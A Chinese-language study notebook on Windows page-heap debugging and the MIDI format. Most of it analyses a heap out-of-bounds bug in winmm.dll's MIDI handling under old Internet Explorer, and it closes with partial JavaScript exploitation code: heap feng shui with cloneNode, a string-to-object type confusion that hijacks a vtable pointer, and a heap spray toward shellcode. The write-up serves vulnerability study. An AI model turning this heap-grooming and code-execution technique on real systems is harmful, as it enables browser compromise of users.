1. 辅助调试 :gflags开启堆页
与普通堆相比页堆有很大的不同,每个堆块至少占用两个内存页。在存放用户数据的第一个内存页后面,堆管理器会额外多分配一个内存页。这个内存页是用来检测溢出的,被称为栅栏页。
栅栏页的属性为PAEG_NOACCESS,因此一旦用户数据发生溢出触及到栅栏页便会引发异常,使调试人员第一时间发现问题,从而可以迅速定位到导致溢出的代码。
有人也许会有疑问,当堆块非常小时,难道也是占用两个内存页么?答案是肯定的。为了及时检测溢出,堆块被放到第一个内存页的末尾紧邻栅栏页,因此第一个内存页前面的大半部分有可能都是没有被使用的。由于分配粒度为8byte,堆块和栅栏页之间可能会有填充字段。对于很小的堆块也需要占用两个内存页,这是很耗费空间的。
2. MIDI文件格式
闲暇时间是个不错的选择 ( ╯ ‵ □ ′ ) ╯ ︵ ┻━┻
音轨事件结构
事件类型 | 格式 | 描述 |
---|---|---|
关闭音符(Note Off) | 0x8n note velocity | n通道号,note音高,velocity按键速度 |
打开音符(Note On) | 0x9n note velocity | n通道号,note音高,velocity按键速度 |
触后音符(Note Aftertouch) | 0xAn note amount | n通道号,note音高,amount按压力度 |
3.基于导图推算的漏洞分析方法
下载pdb文件:
symchk /r E:\dll /s SRV*E:\pdb*http://msdl.microsoft.com/download/symbols
漏洞在微软的多媒体库winmm.dll中。记得先把system32下的winmm.dll替换成有漏洞的版本,以及留个备份。
windows media player的版本可以不用太强求,wmplayer10就行。然后IE6。
immunity debugger附加到ie上,然后打开poc.html,因为开启了页堆的原因,当发生堆访问越界时程序立刻断下来了:
ida看一下漏洞所在的函数,是一个叫做
midiOutPlayNextPolyEvent
的函数(可以加载微软官方符号表来识别函数名)
实际上是访问
*v25
即[esi]
的时候发生了堆访问越界。v25
的值主要受v24
和v20
的影响。其中:
而v1的值来自函数的参数wParam,所以v20导致崩溃的可能性很低,所以重点看下v24的来源。
接下来需要分析一下v24的变量传播的路径。
这里我想到借助ida python自动化完成这里的变量传播静态分析,但是遇到了一些问题:idapython:How can I get xref to a stack variable in the form of pseudocode
手动+眼力分析,最后得出v24
的值与wParam
,v2
,v9
,v11
,v13
,v21
有关,对这几个变量在immunity debugger中shift+F4
下条件记录断点,运行后得到log:
v2
和wParam
是不变的,v9
是递增的计数器,v11
与v13
相等,v12
取v11
的最后一个字节,根据漏洞报告中触发漏洞的是0x9x或0x8x的音轨事件,再看下v11
和v21
,很容易猜到v11
就是包含参数的音轨事件,而v21
就是音轨事件类型。
在读取音轨事件处shift+F2
下条件断点,当[ebx+eax]==0x007db29f
时断下:
继续往后跟:
实际上可以看到,漏洞成因是由Note On事件计算地址偏移导致的访问越界,其中
v24
是一个过大的偏移值(大于堆块大小),v20
是访问基址,实际调试v20
的值0x045A2C00
看一下
0x45a2c00
的内容
对windows xp sp3的堆结构还没有什么了解,但从0x45a2c00往前看好像并没有找到堆块的头部。
另一种思路只能确认下这个地址的来源:
-
确认
v20
的来源:
v1
又来自wParam
即漏洞函数sub_76B2D038
的参数。-
交叉引用查看对
sub_76B2D038
的调用:
漏洞函数的参数
v6
来自全局变量gpEmuList
-
gpEmuList
的交叉引用:
ESI = v20
= *(gpEmuList+0x84);
= *(v7+0x84);
= v8
= winmmAlloc(0x400u);
-
winmmAlloc()
函数内容:
就是一个HeapAlloc啊,堆块头部嘞?此处留坑
到这里漏洞的成因也已经很明显了,使用HeapAlloc申请了一块0x400大小的堆块VulBuffer
,但是之后访问了这个堆块的偏移0x419,造成了堆的越界访问。
4. 漏洞利用
首先把gflags关了(N次失败之后,每次都是执行到漏洞点结果直接抛出异常了?是gflags没关掉还是啥原因哟> <,然后换成ie8并且恢复到一个远古时期的虚拟机镜像后终于成功了)
4.1 重新回顾一下漏洞:
- 是一个计算偏移值错误导致的堆越界访问,堆块
VulBuffer
原本大小为0x400,实际访问偏移0x419位置的内存。 -
越界访问后会将偏移0x419处的一字节+1
4.2 漏洞利用原理:
1.先创建select元素selob,并为其设置64个属性,其中只有w1为String类型,其余均为object类型。可以计算出selob的大小为64*0x10=0x400
字节(构造UAF的条件)
var selob = document.createElement("select")
selob.w0 = alert
selob.w1 = unescape("%0c0c %u0c0c")
selob.w2 = alert
...
...
selob.w62=alert
selob.w63=alert
selob在内存中的内容:
2.然后创建一个大小为1000的数组clones,利用selob元素的cloneNode方法循环复制数据到数组clones;最后再间隔地释放clones数组中的元素;
var clones=new Array(1000);
function feng_shui(){
var i=0;
while(i<1000){
clones[i] = selob.cloneNode(true)
i=i+1;
}
var j = 0;
while(j<1000){
delete clones[j];
CollectGarbage();
j = j+2;
}
}
溢出后将w1的类型标识+1变为09,之后会将w1视作一个object类型。调用该属性对象的函数会去索引虚表(每个对象的头4字节即为虚表指针)。
从而可以通过selob.w1的string内容来控制虚表指针,导致执行任意代码。
可以看到此时的ecx的值正是我们声明string的值。
4.3 又是堆喷射:
上堆喷射!
此时ecx=0C0C1BDC
[ecx+4]的内容刚好是我们用来填充的\xc0\xc0\xc0\xc0
跟进call [ecx+4]会发现成功执行到0xC0C0C0C0的slide中
一路滑向shellcode(系统关闭DEP):
关于如何利用ROP绕过DEP并执行shellcode有待进一步探究。